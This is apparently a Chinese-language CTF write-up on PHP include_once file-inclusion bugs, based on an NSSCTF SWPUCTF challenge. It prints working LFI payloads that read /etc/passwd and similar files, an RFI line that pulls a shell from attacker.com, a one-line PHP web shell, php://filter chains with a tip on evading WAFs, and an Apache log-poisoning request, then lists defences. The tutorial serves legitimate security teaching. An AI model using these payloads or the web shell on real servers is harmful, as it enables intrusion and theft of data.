别再只记Payload了!深入拆解PHP include_once漏洞:以NSSCTF平台SWPUCTF赛题为例
·
从Payload到原理:PHP文件包含漏洞的深度攻防实践
在CTF竞赛和Web安全研究中,PHP文件包含漏洞(LFI/RFI)一直是高频考点。许多初学者往往止步于记忆几个经典Payload,却对漏洞背后的运行机制和防御策略缺乏系统认知。本文将以NSSCTF平台SWPUCTF赛题为切入点,带您穿透表象,掌握文件包含漏洞的底层逻辑。
1. 漏洞环境与代码审计
拿到题目首先映入眼帘的是一个简单的PHP脚本:
<?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
show_source(__FILE__);
echo 'flag 在flag.php中';
}else{
echo "传入一个file试试";
}
include_once($file);
这段代码看似简单,却暗藏玄机。我们注意到几个关键配置:
ini_set("allow_url_include","on")开启了远程文件包含error_reporting(0)关闭了错误显示- 未对
$_GET['file']做任何过滤
注意:
include_once与include的区别在于前者会检查文件是否已被包含过,避免重复包含,但这不影响漏洞利用。
2. 文件包含的三种攻击路径
2.1 本地文件包含(LFI)
当 allow_url_include=Off 时,攻击者仍可利用相对/绝对路径读取系统文件:
?file=../../etc/passwd
?file=./config.php
常见敏感文件路径 :
- /etc/passwd
- /proc/self/environ
- Apache日志文件
- Session文件
2.2 远程文件包含(RFI)
本题中 allow_url_include=On 使得RFI成为可能:
?file=http://attacker.com/shell.txt
攻击者可以在远程服务器放置恶意代码:
<?php system($_GET['cmd']);?>
2.3 伪协议利用
PHP内置的包装器协议提供了更灵活的利用方式:
?file=php://filter/read=convert.base64-encode/resource=flag.php
常用伪协议对比 :
| 协议 | 功能 | 是否需要allow_url_include |
|---|---|---|
| php://filter | 读取文件内容 | 否 |
| data:// | 直接执行代码 | 是 |
| expect:// | 执行系统命令 | 是 |
3. 伪协议的深层解析
php://filter的工作原理值得深入探讨。当使用 convert.base64-encode 时,文件内容会被编码,避免被直接执行:
php://filter/read=convert.base64-encode/resource=flag.php
过滤器链 可以组合使用:
php://filter/read=string.rot13|convert.base64-encode/resource=flag.php
提示:某些场景下可能需要尝试不同的编码方式绕过WAF检测。
4. 防御策略与安全开发
理解了攻击原理,我们来看如何防御:
-
输入验证 :
$allowed = ['page1.php', 'page2.php']; if(!in_array($file, $allowed)) { die('Invalid file!'); } -
配置加固 :
- php.ini中设置
allow_url_include=Off - 设置
open_basedir限制访问目录
- php.ini中设置
-
安全函数替代 :
// 使用白名单方式包含文件 function safe_include($file) { $base_dir = '/var/www/includes/'; $path = realpath($base_dir . $file); if(strpos($path, $base_dir) === 0) { include $path; } }
5. CTF实战中的进阶技巧
在真实比赛中,文件包含往往与其他漏洞结合:
- 日志注入 :通过User-Agent注入PHP代码,然后包含日志文件
- Session文件包含 :利用PHPSESSID包含session文件
- 临时文件包含 :结合文件上传漏洞
例如利用Apache日志注入:
GET /<?php system($_GET['cmd']);?> HTTP/1.1
...
?file=../../var/log/apache2/access.log
6. 从漏洞利用到代码审计
真正的安全研究需要逆向思维。当我们看到 include_once($file) 时,应该立即想到:
- 变量是否用户可控?
- 是否有足够的过滤?
- 服务器配置如何?
- 能否结合其他漏洞?
在最近的一次渗透测试中,我发现一个看似无害的文件包含点最终通过 phar:// 协议实现了反序列化攻击,这再次证明了深度理解的重要性。
更多推荐


所有评论(0)